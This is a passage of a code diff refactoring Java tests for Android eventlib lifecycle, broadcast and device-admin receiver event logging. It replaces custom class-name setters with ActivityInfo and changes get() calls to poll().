-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+    public void whereActivity_skipsNonMatching() throws Exception {
         ActivityContext.runWithContext((activity) -> {
-            ActivityDestroyedEvent.logger(activity)
-                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityDestroyedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
-            ActivityDestroyedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityDestroyedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
         });
 
         EventLogs<ActivityDestroyedEvent> eventLogs =
                 ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_works() throws Exception {
-        ActivityContext.runWithContext((activity) ->
-                ActivityDestroyedEvent.logger(activity)
-                        .log());
-
-        EventLogs<ActivityDestroyedEvent> eventLogs =
-                ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
-        ActivityContext.runWithContext((activity) -> {
-            ActivityDestroyedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
-                    .log();
-            ActivityDestroyedEvent.logger(activity)
-                    .log();
-        });
-
-        EventLogs<ActivityDestroyedEvent> eventLogs =
-                ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
index 1fc937a..541466e 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
+import android.content.pm.ActivityInfo;
 
 import com.android.activitycontext.ActivityContext;
 import com.android.bedstead.nene.TestApis;
@@ -35,9 +36,11 @@
     private static final TestApis sTestApis = new TestApis();
     private static final Context sContext = sTestApis.context().instrumentedContext();
 
-    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
-    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
-    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+    private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
+    {
+        ACTIVITY_INFO.name = ACTIVITY_CLASS_NAME;
+    }
 
     @Before
     public void setUp() {
@@ -45,65 +48,32 @@
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_works() throws Exception {
+    public void whereActivity_works() throws Exception {
         ActivityContext.runWithContext((activity) ->
-                ActivityPausedEvent.logger(activity)
-                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                ActivityPausedEvent.logger(activity, ACTIVITY_INFO)
                         .log());
 
         EventLogs<ActivityPausedEvent> eventLogs =
                 ActivityPausedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+    public void whereActivity_skipsNonMatching() throws Exception {
         ActivityContext.runWithContext((activity) -> {
-            ActivityPausedEvent.logger(activity)
-                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityPausedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
-            ActivityPausedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityPausedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
         });
 
         EventLogs<ActivityPausedEvent> eventLogs =
                 ActivityPausedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_works() throws Exception {
-        ActivityContext.runWithContext((activity) ->
-                ActivityPausedEvent.logger(activity)
-                        .log());
-
-        EventLogs<ActivityPausedEvent> eventLogs =
-                ActivityPausedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
-        ActivityContext.runWithContext((activity) -> {
-            ActivityPausedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
-                    .log();
-            ActivityPausedEvent.logger(activity)
-                    .log();
-        });
-
-        EventLogs<ActivityPausedEvent> eventLogs =
-                ActivityPausedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
index afdaacf..8c379c7 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
+import android.content.pm.ActivityInfo;
 
 import com.android.activitycontext.ActivityContext;
 import com.android.bedstead.nene.TestApis;
@@ -35,9 +36,11 @@
     private static final TestApis sTestApis = new TestApis();
     private static final Context sContext = sTestApis.context().instrumentedContext();
 
-    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
-    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
-    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+    private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
+    {
+        ACTIVITY_INFO.name = ACTIVITY_CLASS_NAME;
+    }
 
     @Before
     public void setUp() {
@@ -45,65 +48,32 @@
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_works() throws Exception {
+    public void whereActivity_works() throws Exception {
         ActivityContext.runWithContext((activity) ->
-                ActivityRestartedEvent.logger(activity)
-                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                ActivityRestartedEvent.logger(activity, ACTIVITY_INFO)
                         .log());
 
         EventLogs<ActivityRestartedEvent> eventLogs =
                 ActivityRestartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+    public void whereActivity_skipsNonMatching() throws Exception {
         ActivityContext.runWithContext((activity) -> {
-            ActivityRestartedEvent.logger(activity)
-                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityRestartedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
-            ActivityRestartedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityRestartedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
         });
 
         EventLogs<ActivityRestartedEvent> eventLogs =
                 ActivityRestartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_works() throws Exception {
-        ActivityContext.runWithContext((activity) ->
-                ActivityRestartedEvent.logger(activity)
-                        .log());
-
-        EventLogs<ActivityRestartedEvent> eventLogs =
-                ActivityRestartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
-        ActivityContext.runWithContext((activity) -> {
-            ActivityRestartedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
-                    .log();
-            ActivityRestartedEvent.logger(activity)
-                    .log();
-        });
-
-        EventLogs<ActivityRestartedEvent> eventLogs =
-                ActivityRestartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
index e211e2c..51c5d55 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
+import android.content.pm.ActivityInfo;
 
 import com.android.activitycontext.ActivityContext;
 import com.android.bedstead.nene.TestApis;
@@ -35,9 +36,11 @@
     private static final TestApis sTestApis = new TestApis();
     private static final Context sContext = sTestApis.context().instrumentedContext();
 
-    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
-    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
-    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+    private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
+    {
+        ACTIVITY_INFO.name = ACTIVITY_CLASS_NAME;
+    }
 
     @Before
     public void setUp() {
@@ -45,65 +48,32 @@
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_works() throws Exception {
+    public void whereActivity_works() throws Exception {
         ActivityContext.runWithContext((activity) ->
-                ActivityResumedEvent.logger(activity)
-                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                ActivityResumedEvent.logger(activity, ACTIVITY_INFO)
                         .log());
 
         EventLogs<ActivityResumedEvent> eventLogs =
                 ActivityResumedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+    public void whereActivity_skipsNonMatching() throws Exception {
         ActivityContext.runWithContext((activity) -> {
-            ActivityResumedEvent.logger(activity)
-                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityResumedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
-            ActivityResumedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityResumedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
         });
 
         EventLogs<ActivityResumedEvent> eventLogs =
                 ActivityResumedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_works() throws Exception {
-        ActivityContext.runWithContext((activity) ->
-                ActivityResumedEvent.logger(activity)
-                        .log());
-
-        EventLogs<ActivityResumedEvent> eventLogs =
-                ActivityResumedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
-        ActivityContext.runWithContext((activity) -> {
-            ActivityResumedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
-                    .log();
-            ActivityResumedEvent.logger(activity)
-                    .log();
-        });
-
-        EventLogs<ActivityResumedEvent> eventLogs =
-                ActivityResumedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
index 212631f..5c3d070 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
+import android.content.pm.ActivityInfo;
 
 import com.android.activitycontext.ActivityContext;
 import com.android.bedstead.nene.TestApis;
@@ -35,9 +36,11 @@
     private static final TestApis sTestApis = new TestApis();
     private static final Context sContext = sTestApis.context().instrumentedContext();
 
-    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
-    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
-    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+    private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
+    {
+        ACTIVITY_INFO.name = ACTIVITY_CLASS_NAME;
+    }
 
     @Before
     public void setUp() {
@@ -45,65 +48,32 @@
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_works() throws Exception {
+    public void whereActivity_works() throws Exception {
         ActivityContext.runWithContext((activity) ->
-                ActivityStartedEvent.logger(activity)
-                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                ActivityStartedEvent.logger(activity, ACTIVITY_INFO)
                         .log());
 
         EventLogs<ActivityStartedEvent> eventLogs =
                 ActivityStartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+    public void whereActivity_skipsNonMatching() throws Exception {
         ActivityContext.runWithContext((activity) -> {
-            ActivityStartedEvent.logger(activity)
-                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityStartedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
-            ActivityStartedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityStartedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
         });
 
         EventLogs<ActivityStartedEvent> eventLogs =
                 ActivityStartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_works() throws Exception {
-        ActivityContext.runWithContext((activity) ->
-                ActivityStartedEvent.logger(activity)
-                        .log());
-
-        EventLogs<ActivityStartedEvent> eventLogs =
-                ActivityStartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
-        ActivityContext.runWithContext((activity) -> {
-            ActivityStartedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
-                    .log();
-            ActivityStartedEvent.logger(activity)
-                    .log();
-        });
-
-        EventLogs<ActivityStartedEvent> eventLogs =
-                ActivityStartedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
index d2e6227..80475ab 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
+import android.content.pm.ActivityInfo;
 
 import com.android.activitycontext.ActivityContext;
 import com.android.bedstead.nene.TestApis;
@@ -35,9 +36,11 @@
     private static final TestApis sTestApis = new TestApis();
     private static final Context sContext = sTestApis.context().instrumentedContext();
 
-    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
-    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
-    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+    private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
+    {
+        ACTIVITY_INFO.name = ACTIVITY_CLASS_NAME;
+    }
 
     @Before
     public void setUp() {
@@ -45,65 +48,32 @@
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_works() throws Exception {
+    public void whereActivity_works() throws Exception {
         ActivityContext.runWithContext((activity) ->
-                ActivityStoppedEvent.logger(activity)
-                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                ActivityStoppedEvent.logger(activity, ACTIVITY_INFO)
                         .log());
 
         EventLogs<ActivityStoppedEvent> eventLogs =
                 ActivityStoppedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+    public void whereActivity_skipsNonMatching() throws Exception {
         ActivityContext.runWithContext((activity) -> {
-            ActivityStoppedEvent.logger(activity)
-                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityStoppedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
-            ActivityStoppedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityStoppedEvent.logger(activity, ACTIVITY_INFO)
                     .log();
         });
 
         EventLogs<ActivityStoppedEvent> eventLogs =
                 ActivityStoppedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_works() throws Exception {
-        ActivityContext.runWithContext((activity) ->
-                ActivityStoppedEvent.logger(activity)
-                        .log());
-
-        EventLogs<ActivityStoppedEvent> eventLogs =
-                ActivityStoppedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
-        ActivityContext.runWithContext((activity) -> {
-            ActivityStoppedEvent.logger(activity)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
-                    .log();
-            ActivityStoppedEvent.logger(activity)
-                    .log();
-        });
-
-        EventLogs<ActivityStoppedEvent> eventLogs =
-                ActivityStoppedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
index c73e9aa..c09d390 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
@@ -66,7 +66,7 @@
                 BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -82,7 +82,7 @@
                 BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -93,10 +93,10 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs =
                 BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
-                        .whereBroadcastReceiver().className().isEqualTo(
+                        .whereBroadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().broadcastReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().broadcastReceiver().className()).isEqualTo(
                 CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
     }
 
@@ -111,10 +111,10 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs =
                 BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
-                        .whereBroadcastReceiver().className().isEqualTo(
+                        .whereBroadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().broadcastReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().broadcastReceiver().className()).isEqualTo(
                 CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
     }
 
@@ -124,10 +124,10 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs =
                 BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
-                        .whereBroadcastReceiver().className()
+                        .whereBroadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().broadcastReceiver().className())
+        assertThat(eventLogs.poll().broadcastReceiver().className())
                 .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
     }
 
@@ -141,10 +141,10 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs =
                 BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
-                        .whereBroadcastReceiver().className()
+                        .whereBroadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().broadcastReceiver().className())
+        assertThat(eventLogs.poll().broadcastReceiver().className())
                 .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
index 8d67bc8..8d611d8 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
@@ -65,7 +65,7 @@
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -83,7 +83,7 @@
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -94,10 +94,10 @@
 
         EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -112,10 +112,10 @@
 
         EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
